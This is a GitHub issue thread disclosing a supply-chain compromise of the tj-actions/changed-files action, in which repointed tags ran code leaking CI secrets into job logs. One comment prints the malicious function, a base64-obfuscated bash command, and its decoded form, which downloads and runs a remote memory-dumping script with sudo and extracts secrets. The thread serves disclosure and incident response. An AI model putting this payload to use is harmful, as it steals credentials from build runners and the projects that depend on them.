Skip to content

Multiple tags in this action are compromised #2463

Open
@varunsh-coder

Description

@varunsh-coder

Example this tag was just updated 3 hours back and is potentially exfiltrating credentials
https://github.com/tj-actions/changed-files/tags?after=v35.9.3

You can read more here: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised

Activity

tj-actions-bot

tj-actions-bot commented on Mar 15, 2025

@tj-actions-bot
Contributor

Thanks for reporting this issue, don't forget to star this project if you haven't already to help us reach a wider audience.

salolivares

salolivares commented on Mar 15, 2025

@salolivares
kbsteere

kbsteere commented on Mar 15, 2025

@kbsteere

@jackton1 for you awareness

ElijahLynn

ElijahLynn commented on Mar 15, 2025

@ElijahLynn

It ultimately dumps memory to GHA logs, which can include GHA secrets:

from the malicious commit: 0e58ed8 introduced in:

async function updateFeatures(token) {
   
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);
     
 }

And if we base64 decode it:

echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d 

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi
aetzieba

aetzieba commented on Mar 15, 2025

@aetzieba

Is it possible that this fails if bash is not installed?

Leroy231

Leroy231 commented on Mar 15, 2025

@Leroy231

Is it possible that this fails if bash is not installed?

Yes, I started getting this error on my self-hosted Windows runners:

Error: Unable to locate executable file: bash. Please verify either the file path exists or the file can be found within a directory specified by the PATH environment variable. Also verify the file has a valid extension for an executable file.

Not sure if GitHub hosted Windows runners have bash installed.

Leroy231

Leroy231 commented on Mar 15, 2025

@Leroy231
varunsh-coder

varunsh-coder commented on Mar 15, 2025

@varunsh-coder
Author
aetzieba

aetzieba commented on Mar 15, 2025

@aetzieba

Is it possible that this fails if bash is not installed?

Yes, I started getting this error on my self-hosted Windows runners:

Error: Unable to locate executable file: bash. Please verify either the file path exists or the file can be found within a directory specified by the PATH environment variable. Also verify the file has a valid extension for an executable file.

Not sure if GitHub hosted Windows runners have bash installed.

I noticed this in a similar scenario.

AdnaneKhan

AdnaneKhan commented on Mar 15, 2025

@AdnaneKhan

We even see some repositories using the backdoored commit by hash after updates by Renovate: https://github.com/search?q=0e58ed8671d6b60d0890c21b07f8835ace038e67&type=code

ElijahLynn

ElijahLynn commented on Mar 15, 2025

@ElijahLynn

We even see some repositories using the backdoored commit by hash after updates by Renovate: github.com/search?q=0e58ed8671d6b60d0890c21b07f8835ace038e67&type=code

I've just confirmed that it is printing double base64 encoded secrets in runner job logs based on your link.

Here is one: https://github.com/szinn/k8s-homelab/actions/runs/13865435819/job/38803427088?pr=5353, double base64 --decode that output and boom, there is a github_token.

ElijahLynn

ElijahLynn commented on Mar 15, 2025

@ElijahLynn

Every tag got pointed to this malicious commit:

Image

https://github.com/tj-actions/changed-files/tags

ElijahLynn

ElijahLynn commented on Mar 15, 2025

@ElijahLynn

I've just emailed security@github.com too with the title: "Urgent: Hundreds/Thousands of github_token secrets leaked" and linked to this issue. Because some action needs to be taken at the GitHub level to fix this and inform everyone.

gaby

gaby commented on Mar 15, 2025

@gaby

@ElijahLynn I submitted a active malware report too

3 remaining items

gaby

gaby commented on Mar 15, 2025

@gaby

Makes me wonder if renovate is the one compromised?

themaxdavitt

themaxdavitt commented on Mar 15, 2025

@themaxdavitt

I wouldn't jump to that assumption; I thought you could set your Git author name and email to anything you want, e.g.:

git -c user.name='renovate[bot]@users.noreply.github.com' -c user.email='renovate[bot]@users.noreply.github.com' commit -m "chore(deps): lock file maintenance (#2460)"

Haven't people done this to fake famous developers making commits in their repos?

tdorianh

tdorianh commented on Mar 15, 2025

@tdorianh

@mceachen Re: renovate credentials: likely not. This commit was unsigned, while every other commit by Renovate in this repo is. Looks like a fake.

themaxdavitt

themaxdavitt commented on Mar 15, 2025

@themaxdavitt

I think it's unlikely renovate[bot] was involved at all in committing this attack. Despite 0e58ed8's commit message, it was not actually introduced in #2460. The attacker probably just made their new commit look exactly like the last commit on main (9200e69) , which was actually by renovate[bot] (check its signature), to not look suspicious.

However, unfortunately the real renovate[bot] is continuing to do what it does best, which is updating people's repos to the latest versions of dependencies... which is why this needs to get resolved ASAP.

sarentz-tc

sarentz-tc commented on Mar 15, 2025

@sarentz-tc

Is it possible that the memory dumper from https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py does not work in Docker containers?

When I run it in python:3-bookworm I get the following error:

root@2d9100eaf59e:/tmp# python /tmp/memdump.py
Traceback (most recent call last):
  File "/tmp/memdump.py", line 23, in <module>
    pid = get_pid()
  File "/tmp/memdump.py", line 19, in get_pid
    raise Exception('Can not get pid of Runner.Worker')
Exception: Can not get pid of Runner.Worker
jameswald

jameswald commented on Mar 15, 2025

@jameswald

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

sarentz-tc

sarentz-tc commented on Mar 15, 2025

@sarentz-tc

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

Same. Ours are all in Docker. No VMs. I'm trying to see if that makes a difference. The error that I posted may be because the image I ran was not actually a runner image.

gurchik

gurchik commented on Mar 15, 2025

@gurchik

The offending commit 0e58ed8 was never pushed to this repository, as you can see by clicking the link, the commit belongs to a fork of the repository. If the attacker had some way of updating the tags and releases of this repository, then they could have accomplished this attack by:

  1. Fork the repository
  2. Push compromised code to the fork
  3. Update the tags in the parent repository to point to the SHA of the fork

As the compromised commit was never pushed to the parent repository, it would not show in the Git logs.

Only the owner of this organization has the audit logs necessary to figure out how step 3 was accomplished. I hope a full investigation is done

sarentz-tc

sarentz-tc commented on Mar 15, 2025

@sarentz-tc

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

Same. Ours are all in Docker. No VMs. I'm trying to see if that makes a difference. The error that I posted may be because the image I ran was not actually a runner image.

Confirming that the memdump.py script works inside Docker based GitHub runners.

msheiny

msheiny commented on Mar 15, 2025

@msheiny

The offending commit 0e58ed8 was never pushed to this repository, as you can see by clicking the link, the commit belongs to a fork of the repository. If the attacker had some way of updating the tags and releases of this repository, then they could have accomplished this attack by:

  1. Fork the repository
  2. Push compromised code to the fork
  3. Update the tags in the parent repository to point to the SHA of the fork

As the compromised commit was never pushed to the parent repository, it would not show in the Git logs.

Only the owner of this organization has the audit logs necessary to figure out how step 3 was accomplished. I hope a full investigation is done

Wait is that true though? How is that possible to have a tag reference a fork's commit? I see this discussion and they say it's a misleading message but 🤷 https://github.com/orgs/community/discussions/19021 . Anyone know more if thats even possible?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

      Participants

      @onedr0p@mceachen@gurchik@gaby@jameswald

      Issue actions

        Multiple tags in this action are compromised · Issue #2463 · tj-actions/changed-files